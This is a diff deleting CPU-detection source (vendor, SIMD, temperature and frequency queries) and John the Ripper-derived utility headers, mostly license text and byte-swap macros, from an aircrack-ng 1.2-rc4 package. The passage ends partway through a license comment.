-#if defined(__FreeBSD__) || defined(__OpenBSD__)
-	#include <sys/user.h>
-	#include <sys/sysctl.h>
-#endif
-#include <dirent.h>
-#include "aircrack-ng.h"
-
-#ifdef __linux__
-	#define CPUFREQ_CPU0C   "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
-	#define CPUFREQ_CPU0M   "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
-	#define CORETEMP_PATH  "/sys/devices/platform/coretemp.0/"
-	int cpuid_readsysfs(const char *file);
-	int cpuid_findcpusensorpath(const char *path);
-#endif
-
-struct _cpuinfo cpuinfo = { 0, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0.0, NULL };
-
-//
-// Until better support for other arch's is added an ifdef is needed
-//
-unsigned long getRegister(const unsigned int val, const char from, const char to) {
-	unsigned long mask = (1<<(to+1)) - 1;
-
-	if (to == 31)
-		return val >> from;
-
-	return (val & mask) >> from;
-}
-
-void sprintcat(char *dest, const char *src, size_t len) {
-	if (strlen(dest))
-		(void)strncat(dest, ",", len);
-
-	(void)strncat(dest, src, len);
-}
-
-int is_dir(const char *dir) {
-	struct stat sb;
-
-	if (!stat(dir, &sb))
-		return S_ISDIR(sb.st_mode);
-
-	return 0;
-}
-
-unsigned long GetCacheTotalLize(unsigned ebx, unsigned ecx) {
-	unsigned long  LnSz, SectorSz, WaySz, SetSz;
-        LnSz = getRegister(ebx, 0, 11 ) + 1;
-        SectorSz = getRegister(ebx, 12, 21 ) + 1;
-        WaySz = getRegister(ebx, 22, 31 ) + 1;
-        SetSz = getRegister(ecx, 0, 31 )  + 1;
-        return (SetSz*WaySz*SectorSz*LnSz);
-}
-
-//
-// Return maximum SIMD size for the CPU.
-// AVX2		  		= 8 / 256 bit
-// SSE2-4.2 + AVX / NEON	= 4 / 128 bit
-// MMX / CPU Fallback		= 1 /  64 bit
-//
-int cpuid_simdsize(int viewmax) {
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-
-	if (max_level >= 7) {
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 5)) { // AVX2
-	#ifndef JOHN_AVX2
-			// If we're not compiled for AVX2, and we're simply displaying CPU capabilities
-			// return the maximum the processor supports, otherwise fallback to avoid
-			// a performance regression from overfilling the buffers.
-			if (viewmax == 1)
-	#endif
-				return 8;
-		}
-	}
-
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	if (edx & (1 << 26)) // SSE2
-		return 4;
-
-#elif defined(__arm__) && defined(HAS_AUXV)
-	long hwcaps = getauxval(AT_HWCAP);
-
-	if (hwcaps & (1 << 12)) // NEON
-		return 4;
-#endif
-	(void)viewmax;
-
-	// MMX or CPU Fallback
-	return 1;
-}
-
-#ifdef _X86
-char* cpuid_vendor() {
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-
-	__cpuid(0, eax, ebx, ecx, edx);
-
-	if ((ebx == 0x756E6547) && (edx == 0x49656E69))
-		return "Intel";
-	else if ((ebx == 0x68747541) || (ebx == 0x69444D41))
-		return "AMD";
-	else if (ebx == 0x746E6543)
-		return "Centaur (VIA)";
-	else if (ebx == 0x69727943)
-		return "Cyrix";
-	else if ((ebx == 0x6E617254) || ((ebx == 0x756E6547) && (edx == 0x54656E69)))
-		return "Transmeta";
-	else if (ebx == 0x646F6547)
-		return "Geode by NSC (AMD)";
-	else if (ebx == 0x4778654E)
-		return "NexGen";
-	else if (ebx == 0x65736952)
-		return "Rise";
-	else if (ebx == 0x20536953)
-		return "SiS";
-	else if (ebx == 0x20434D55)
-		return "UMC";
-	else if (ebx == 0x20414956)
-		return "VIA";
-	else if (ebx == 0x74726F56)
-		return "Vortex86 SoC";
-	else if (ebx == 0x4B4D564B)
-		return "KVM (Virtual Machine)";
-	else if (ebx == 0x7263694D)
-		return "Microsoft Hyper-V or Virtual PC";
-	else if (ebx == 0x70726C20)
-		return "Parallels (Virtual Machine)";
-	else if (ebx == 0x61774D56)
-		return "VMware";
-	else if (ebx == 0x566E6558)
-		return "Xen HVM (Virtual Machine)";
-
-	return "Unknown CPU";
-}
-#endif
-
-char* cpuid_featureflags() {
-	char flags[64] = {0};
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	if (edx & (1 << 23))
-		sprintcat((char *)&flags, "MMX", sizeof(flags));
-
-	if (edx & (1 << 25))
-		sprintcat((char *)&flags, "SSE", sizeof(flags));
-
-	if (edx & (1 << 26))
-		sprintcat((char *)&flags, "SSE2", sizeof(flags));
-
-	if (ecx & (1 << 0))
-		sprintcat((char *)&flags, "SSE3", sizeof(flags));
-
-	if (ecx & (1 << 9))
-		sprintcat((char *)&flags, "SSSE3", sizeof(flags));
-
-	if (ecx & (1 << 19))
-		sprintcat((char *)&flags, "SSE4.1", sizeof(flags));
-
-	if (ecx & (1 << 20))
-		sprintcat((char *)&flags, "SSE4.2", sizeof(flags));
-
-	if (ecx & (1 << 25))
-		sprintcat((char *)&flags, "AES-NI", sizeof(flags));
-
-	// Don't set this if we got it from a higher topology previously.
-	if (cpuinfo.maxlogic == 0)	// Maximum addressable logical CPUs per pkg/socket.
-		cpuinfo.maxlogic = (ebx >> 16) & 0xFF;
-
-	if (edx & (1 << 28))		// Hyper-threading
-		cpuinfo.htt = 1;
-
-	if (ecx & (1 << 28))		// AVX
-		sprintcat((char *)&flags, "AVX", sizeof(flags));
-
-	if (ecx & (1 << 31))		// Hypervisor
-		cpuinfo.hv = 1;
-
-	if (max_level >= 7) {
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 5))	// AVX2
-			sprintcat((char *)&flags, "AVX2", sizeof(flags));
-	}
-#elif defined(__arm__) && defined(HAS_AUXV)
-	long hwcaps = getauxval(AT_HWCAP);
-
-	if (hwcaps & (1 << 12))
-		sprintcat((char *)&flags, "NEON", sizeof(flags));
-
-	if (hwcaps & (1 << 1))
-		sprintcat((char *)&flags, "HALF", sizeof(flags));
-
-	if (hwcaps & (1 << 2))
-		sprintcat((char *)&flags, "THUMB", sizeof(flags));
-
-	if (hwcaps & (1 << 11))
-		sprintcat((char *)&flags, "THUMBEE", sizeof(flags));
-
-	if (hwcaps & (1 << 6))
-		sprintcat((char *)&flags, "VFP", sizeof(flags));
-
-	if ((hwcaps & (1 << 13)) || (hwcaps & (1 << 14)))
-		sprintcat((char *)&flags, "VFPv3", sizeof(flags));
-
-	if (hwcaps & (1 << 16))
-		sprintcat((char *)&flags, "VFPv4", sizeof(flags));
-
-	if (hwcaps & (1 << 15))
-		sprintcat((char *)&flags, "TLS", sizeof(flags));
-
-	if (hwcaps & (1 << 10))
-		sprintcat((char *)&flags, "CRUNCH", sizeof(flags));
-
-	if (hwcaps & (1 << 9))
-		sprintcat((char *)&flags, "iwMMXt", sizeof(flags));
-
-	if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18)))
-		sprintcat((char *)&flags, "IDIV", sizeof(flags));
-#endif
-	return strdup(flags);
-}
-
-float cpuid_getcoretemp() {
-#ifdef __FreeBSD__
-	int tempval = 0;
-	size_t len = sizeof(tempval);
-
-	if (sysctlbyname("dev.cpu.0.temperature", &tempval, &len, NULL, 0) == -1)
-		return 0;
-
-	cpuinfo.coretemp = (tempval-2732)/10;
-#elif __linux__
-	if (cpuinfo.cputemppath != NULL) {
-		cpuinfo.coretemp = cpuid_readsysfs((const char *)cpuinfo.cputemppath)/1000;
-	}
-#else
-	return 0;
-#endif
-	return cpuinfo.coretemp;
-}
-
-#ifdef __linux__
-//
-// Locate the primary temp input on the coretemp sysfs
-//
-int cpuid_findcpusensorpath(const char *path) {
-	DIR *dirp;
-	struct dirent *dp;
-	char tbuf[16][32] = {{0}};
-	int cnt = 0, i = 0, sensorx = 0;
-	char sensor[8] = {0};
-
-	dirp = opendir(path);
-
-	if (dirp == NULL)
-		return -1;
-
-	snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
-
-	while ((dp = readdir(dirp)) != NULL) {
-		if (!strncmp(dp->d_name, sensor, 5)) {
-			(void)closedir(dirp);
-			asprintf(&cpuinfo.cputemppath, "%stemp%d_input", CORETEMP_PATH, sensorx);
-			return sensorx;
-		} else if (!strncmp(dp->d_name, "temp", 4))
-			sprintf(tbuf[cnt++], "%s", dp->d_name);
-	}
-
-	(void)closedir(dirp);
-
-	// Hopefully we found the ID on the first pass, but Linux is its infinite wisdom
-	// sometimes starts the sensors at 2-6+
-	for (sensorx = 1; sensorx < 8; sensorx++)
-		for (i = 0; i < cnt; i++) {
-			snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
-
-			if (!strncasecmp(tbuf[i], sensor, strlen(sensor))) {
-				asprintf(&cpuinfo.cputemppath, "%stemp%d_input", CORETEMP_PATH, sensorx);
-				return sensorx;
-			}
-		}
-
-	return -1;
-}
-
-int cpuid_readsysfs(const char *file) {
-	int fd, ival = 0;
-	struct stat sf;
-	char buf[16] = {0};
-
-	if (stat(file, &sf))
-		return -1;
-
-	fd = open(file, O_RDONLY);
-
-	if (fd == -1)
-		return -1;
-
-	if (read(fd, &buf, sizeof(buf))) {
-		ival = atoi(buf);
-	}
-
-	close(fd);
-
-	return ival;
-}
-
-//
-// Return CPU frequency from scaling governor when supported
-//
-int cpuid_getfreq(int type) {
-	int fd, ifreq = 0;
-	struct stat sf;
-	char freq[16] = {0}, *fptr;
-
-	fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M);
-
-	if (stat(fptr, &sf))
-		return 0;
-
-	fd = open(fptr, O_RDONLY);
-
-	if (fd == -1)
-		return 0;
-
-	if (read(fd, &freq, sizeof(freq)))
-		ifreq = atoi(freq)/1000;
-
-	close(fd);
-
-	return ifreq;
-}
-#endif
-
-char* cpuid_modelinfo() {
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	int bi = 2, broff = 0;
-	char *tmpmodel = calloc(1, (sizeof(unsigned) * 4) * 5);
-#elif __linux__
-	FILE *cfd;
-	char *line = NULL, *token = NULL;
-	size_t linecap = 0;
-	ssize_t linelen;
-#elif __FreeBSD__ /* ARM support for FreeBSD */
-	int mib[] = { CTL_HW, HW_MODEL };
-	char modelbuf[64];
-	size_t len = sizeof(modelbuf);
-#endif
-	char *pm = NULL, *model = NULL;
-
-#ifdef _X86
-	if (tmpmodel == NULL) {
-		fprintf(stderr, "ERROR: calloc() failed to allocate memory for cpuid_modelinfo(): %s\n", strerror(errno));
-		return "Unknown";
-	}
-
-	for (; bi < 5; bi++, broff += 16) {
-		__cpuid(0x80000000+bi, eax, ebx, ecx, edx);
-
-       		memcpy(tmpmodel+broff, &eax, sizeof(unsigned));
-	        memcpy(tmpmodel+broff+4, &ebx, sizeof(unsigned));
-        	memcpy(tmpmodel+broff+8, &ecx, sizeof(unsigned));
-	        memcpy(tmpmodel+broff+12, &edx, sizeof(unsigned));
-	}
-
-	pm = tmpmodel;
-
-#elif __linux__
-	cfd = fopen("/proc/cpuinfo", "r");
-
-	if (cfd == NULL) {
-		fprintf(stderr, "ERROR: Failed opening /proc/cpuinfo: %s\n", strerror(errno));
-		return "Unknown";
-	}
-
-	while ((linelen = getline(&line, &linecap, cfd)) > 0) {
-		if (!strncasecmp(line, "model", 5)) {
-			token = strsep(&line, ":");
-			token = strsep(&line, ":");
-
-			token[strlen(token)-1] = 0;
-			(void)*token++;
-
-			pm = token;
-			break;
-		}
-	}
-
-	free(line);
-	line = NULL;
-
-	fclose(cfd);
-#elif __FreeBSD__
-	if (sysctl(mib, 2, modelbuf, &len, NULL, 0))
-		snprintf(modelbuf,sizeof(modelbuf), "Unknown");
-
-	pm = modelbuf;
-#endif
-
-	// Clean up the empty spaces in the model name on some intel's because they let their engineers fall asleep on the space bar
-	while (*pm == ' ') {
-		pm++;
-	}
-
-	model = strdup(pm);
-
-#ifdef _X86
-	free(tmpmodel);
-	tmpmodel = NULL;
-#endif
-
-	if (model == NULL) {
-		fprintf(stderr, "ERROR: strdup() failed to allocate memory for cpuid_modelinfo(): %s\n", strerror(errno));
-		return "Unknown";
-	}
-
-	return model;
-}
-
-int cpuid_getinfo() {
-	int cpu_count = get_nb_cpus();
-	float cpu_temp;
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-	int topologyLevel = 0, topologyType;
-#ifdef DEBUG
-	int topologyShift;
-#endif
-
-	// Attempt higher level topology scan first.
-	do {
-		__cpuid_count(11, topologyLevel, eax, ebx, ecx, edx);
-
-		// if EBX ==0 then this subleaf is not valid, and the processor doesn't support this.
-		if (ebx == 0)
-			break;
-
-		topologyType = getRegister(ecx,8,15);
-#ifdef DEBUG
-		topologyShift = getRegister(eax,0,4);
-#endif
-
-		if ((topologyType == 2) && ((int)eax != 0 && (int)ebx != 0)) {
-			cpuinfo.cores		= (int)eax;
-			cpuinfo.maxlogic	= (int)ebx;
-		}
-#ifdef DEBUG
-		printf("%u %u %u %u\n",eax,ebx,ecx,edx);
-		printf("type %d, shift = %d\n", topologyType, topologyShift);
-#endif
-		topologyLevel++;
-	} while (topologyLevel < 5);
-
-#ifdef DEBUG
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	printf("Family: %d", (eax >> 8) & 0xF);
-	printf("\t\tStepping %d\t\t", eax & 0xF);
-	printf("Model %d\n", (eax >> 4) & 0xF);
-	printf("Processor type %d\t", (eax >> 12) & 0x3);
-	printf("Extended model %d\t", (eax >> 16) & 0xF);
-	printf("Extended family %d\n", (eax >> 20) & 0xFF);
-#endif
-
-	printf("Vendor          = %s\n", cpuid_vendor());
-
-	if (max_level >= 4) {
-		__cpuid(4, eax, ebx, ecx, edx);
-
-		if (topologyLevel == 0) {
-			if (eax >> 26)
-				cpuinfo.coreperid = (eax >> 26) + 1;
-			else	// This processor only supports level1 topology. :'(
-				cpuinfo.coreperid = 1;
-		}
-	} else
-		cpuinfo.coreperid = 1;
-
-#ifdef DEBUG
-	printf("cpuinfo.coreperid = %d, cpuinfo.cores = %d, maxlogic = %d (tlevel %d)\n", cpuinfo.coreperid, cpuinfo.cores, cpuinfo.maxlogic, topologyLevel);
-#endif
-
-	if ((cpuinfo.cores == 0) && (cpuinfo.coreperid != 0)) {
-		// On lower topology processors we have to caclulate the cores from max cores per id (pkg/socket) by max addressable
-		cpuinfo.cores = (cpuinfo.maxlogic / cpuinfo.coreperid);
-	}
-#endif
-#ifdef __linux__
-	cpuid_findcpusensorpath(CORETEMP_PATH);
-	cpuinfo.cpufreq_cur = cpuid_getfreq(1);
-	cpuinfo.cpufreq_max = cpuid_getfreq(2);
-#endif
-
-	cpuinfo.model = cpuid_modelinfo();
-	cpuinfo.flags = cpuid_featureflags();
-
-	printf("Model           = %s\n", cpuinfo.model);
-	printf("Features        = %s\n", cpuinfo.flags);
-
-	// this shouldn't happen but prepare for the worst.
-	if (cpuinfo.cores == 0)
-		cpuinfo.cores = cpu_count;
-
-	// If our max logic matches our cores, we don't have HT even if the proc says otherwise.
-	if (cpuinfo.cores == cpuinfo.maxlogic)
-		cpuinfo.htt = 0;
-
-#ifdef _X86
-	printf("Hyper-Threading = %s\n", cpuinfo.htt?"Yes":"No");
-#endif
-
-	if (cpuinfo.hv)
-		printf("Hypervisor      = Yes (Virtualization detected)\n");
-
-	// This inaccuracy can happen when running under a hypervisor, correct it.
-	if (cpuinfo.cores > cpuinfo.maxlogic)
-		cpuinfo.maxlogic = cpuinfo.cores;
-
-	if (cpuinfo.cpufreq_cur)
-		printf("CPU frequency   = %d MHz (Max: %d MHz)\n", cpuinfo.cpufreq_cur, cpuinfo.cpufreq_max);
-
-	cpu_temp = cpuid_getcoretemp();
-	if (cpu_temp != 0.0)
-		printf("CPU temperature = %2.2f C\n", cpu_temp);
-
-	if (cpuinfo.htt)
-		printf("Logical CPUs    = %d\n", cpuinfo.maxlogic);
-
-	printf("CPU cores       = %d", cpuinfo.cores);
-
-	if (cpuinfo.maxlogic != cpu_count) {
-		if (cpu_count > cpuinfo.maxlogic)
-			printf(" (%d total, %d sockets)", cpu_count, (cpu_count / cpuinfo.maxlogic));
-		else
-			printf(" (%d total)", cpu_count);
-	}
-
-	cpuinfo.simdsize = cpuid_simdsize(1);
-
-	printf("\nSIMD size       = %d ", cpuinfo.simdsize);
-
-	if (cpuinfo.simdsize == 1)
-		printf("(64 bit)\n");
-	else if (cpuinfo.simdsize == 4)
-		printf("(128 bit)\n");
-	else
-		printf("(256 bit)\n");
-
-#ifndef JOHN_AVX2
-	if (cpuinfo.simdsize == 8) {
-		printf("NOTE: Your processor is capable of AVX2 but AVX2 support was not compiled in!\n");
-		printf("Please send a copy of this output to the aircrack team to improve autodetection.\n");
-	}
-#endif
-
-	free(cpuinfo.flags);
-	cpuinfo.flags = NULL;
-	free(cpuinfo.model);
-	cpuinfo.model = NULL;
-
-	if (cpuinfo.cputemppath != NULL) {
-		free(cpuinfo.cputemppath);
-		cpuinfo.cputemppath = NULL;
-	}
-
-	return 0;
-}

aircrack-ng-1.2-rc4.tar.gz/src/jcommon.h Deleted

@@ -1,118 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-99,2005,2009,2011,2013 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Things common to many ciphertext formats.
- */
-
-#ifndef _JCOMMON_H
-#define _JCOMMON_H
-
-#include "arch.h"
-#include "memory.h"
-
-#if ARCH_INT_GT_32
-typedef unsigned short ARCH_WORD_32;
-typedef unsigned int ARCH_WORD_64;
-#else
-typedef unsigned int ARCH_WORD_32;
-typedef unsigned long long ARCH_WORD_64;
-#endif
-
-/* ONLY use this to check alignments of even power of 2 (2, 4, 8, 16, etc) byte counts (CNT).
-   The cast to void* MUST be done, due to C spec. http://stackoverflow.com/a/1898487 */
-#define is_aligned(PTR, CNT) ((((ARCH_WORD)(const void *)(PTR))&(CNT-1))==0)
-
-#ifdef __GNUC__
-#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 7) || defined(__INTEL_COMPILER)
-#define MAYBE_INLINE __attribute__((always_inline)) inline
-#elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
-#define MAYBE_INLINE __attribute__((always_inline))
-#else
-#define MAYBE_INLINE __inline__
-#endif
-#elif __STDC_VERSION__ >= 199901L
-#define MAYBE_INLINE inline
-#else
-#define MAYBE_INLINE
-#endif
-
-#if ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 2)
-#define CC_CACHE_ALIGN \
-	__attribute__ ((aligned (MEM_ALIGN_CACHE)))
-#else
-#define CC_CACHE_ALIGN			/* nothing */
-#endif
-
-/*
- * This "shift" is the number of bytes that may be inserted between arrays the
- * size of which would be a multiple of cache line size (some power of two) and
- * that might be accessed simultaneously.  The purpose of the shift is to avoid
- * cache bank conflicts with such accesses, actually allowing them to proceed
- * simultaneously.  This number should be a multiple of the machine's word size
- * but smaller than cache line size.
- */
-#define CACHE_BANK_SHIFT		ARCH_SIZE
-
-/*
- * ASCII <-> binary conversion tables.
- */
-//extern const char itoa64[64]; /* crypt(3) base64 - not MIME Base64! */
-extern char atoi64[0x100];
-extern const char itoa16[16];
-extern char atoi16[0x100];
-extern const char itoa16u[16]; // uppercase
-
-/*
- * Initializes the tables.
- */
-extern void common_init(void);
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/johnswap.h Deleted

@@ -1,131 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- */
-#if !defined __JOHN_SWAP_H__
-#define __JOHN_SWAP_H__
-
-/* reqired for the john_bswap_32 ARCH_WORD_32 declaration */
-#include "jcommon.h"
-
-/* if x86 compatible cpu */
-#if defined(i386) || defined(__i386__) || defined(__i486__) || \
-	defined(__i586__) || defined(__i686__) || defined(__pentium__) || \
-	defined(__pentiumpro__) || defined(__pentium4__) || \
-	defined(__nocona__) || defined(prescott) || defined(__core2__) || \
-	defined(__k6__) || defined(__k8__) || defined(__athlon__) || \
-	defined(__amd64) || defined(__amd64__) || \
-	defined(__x86_64) || defined(__x86_64__) || defined(_M_IX86) || \
-	defined(_M_AMD64) || defined(_M_IA64) || defined(_M_X64)
-/* detect if x86-64 instruction set is supported */
-# if defined(_LP64) || defined(__LP64__) || defined(__x86_64) || \
-	defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64)
-#  undef CPU_X64
-#  define CPU_X64 1
-# else
-#  undef CPU_IA32
-#  define CPU_IA32 1
-# endif
-# undef CPU_INTEL_LE
-# define CPU_INTEL_LE 1
-#endif
-
-#if defined __GNUC__ && ((__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || (__GNUC__ > 4))
-#	define JOHNSWAP(x)		__builtin_bswap32((x))
-#	define JOHNSWAP64(x)	__builtin_bswap64((x))
-#elif defined (__linux__)
-#	include <byteswap.h>
-#	define JOHNSWAP(x)		bswap_32((x))
-#	define JOHNSWAP64(x)	bswap_64((x))
-#elif (_MSC_VER > 1300) && (_M_IX86 >= 400 || defined(CPU_IA32) ||  defined(CPU_X64)) /* MS VC */
-#	define JOHNSWAP(x)		_byteswap_ulong((x))
-#	define JOHNSWAP64(x)	_byteswap_uint64 (((unsigned __int64)x))
-#elif !defined(__STRICT_ANSI__)
-#	define JOHNSWAP(x)	john_bswap_32((x))
-#	define JOHNSWAP64(x)	john_bswap_64((x))
-#	define ROTATE_LEFT(x, n) (x) = (((x)<<(n))|((ARCH_WORD_32)(x)>>(32-(n))))
-#	define ROTATE_LEFT64(x, n) (x) = (((x)<<(n))|((unsigned long long)(x)>>(64-(n))))
-#if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__)
-	/* for intel x86 CPU */
-	static inline ARCH_WORD_32 __attribute__((const)) john_bswap_32(ARCH_WORD_32 val) {
-		register ARCH_WORD_32 res;
-		__asm("bswap\t%0" : "=r" (res) : "0" (val));
-		return res;
-	}
-#else
-	/* Note, the name bswap_32 clashed with a less efficient bswap_32 in gcc 3.4. */
-	/* Thus, we now call it john_bswap_32 to take 'ownership' */
-	static inline ARCH_WORD_32 john_bswap_32(ARCH_WORD_32 x)
-	{
-		/* Since this is an inline function, we do not have to worry about */
-		/* multiple reference of x.  Even though we are called from a macro */
-		/* this inline hides problems even with usage like  n=SWAP(*cp++); */
-		ROTATE_LEFT(x, 16);
-		return ((x & 0x00FF00FF) << 8) | ((x >> 8) & 0x00FF00FF);
-	}
-#endif
-	static inline unsigned long long john_bswap_64(unsigned long long x)
-	{
-#if ARCH_BITS == 32
-		union {
-			unsigned long long ll;
-			ARCH_WORD_32 l[2];
-			} w, r;
-		w.ll = x;
-		r.l[0] = john_bswap_32(w.l[1]);
-		r.l[1] = john_bswap_32(w.l[0]);
-		return r.ll;
-#else
-		// Someone should write a 'proper' 64 bit bswap, for 64 bit arch
-		// for now, I am using the '32 bit' version I wrote above.
-		union {
-			unsigned long long ll;
-			ARCH_WORD_32 l[2];
-			} w, r;
-		w.ll = x;
-		r.l[0] = john_bswap_32(w.l[1]);
-		r.l[1] = john_bswap_32(w.l[0]);
-		return r.ll;
-#endif
-	}
-#endif
-
-#endif // __JOHN_SWAP_H__

aircrack-ng-1.2-rc4.tar.gz/src/md5.h Deleted

@@ -1,67 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This is an OpenSSL-compatible implementation of the RSA Data Security,
- * Inc. MD5 Message-Digest Algorithm (RFC 1321).
- *
- * Written by Solar Designer <solar at openwall.com> in 2001, and placed
- * in the public domain.  There's absolutely no warranty.
- *
- * See md5.c for more information.
- *
- * This file has been modified in the JtR jumbo patch.
- * If you reuse the code for another purpose, please download the original from:
- * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
- */
-
-#if !defined(_MD5_H)
-#define _MD5_H
-
-/* Any 32-bit or wider unsigned integer data type will do */
-/* this needs to be defined no matter if building with HAVE_LIBSSL or not */
-typedef unsigned int MD5_u32plus;
-
-#include "arch.h"
-#ifdef SIMD_PARA_MD5
-#include <openssl/md5.h>
-#endif
-
-#endif /* _MD5_H */

aircrack-ng-1.2-rc4.tar.gz/src/memdbg.h Deleted

@@ -1,234 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
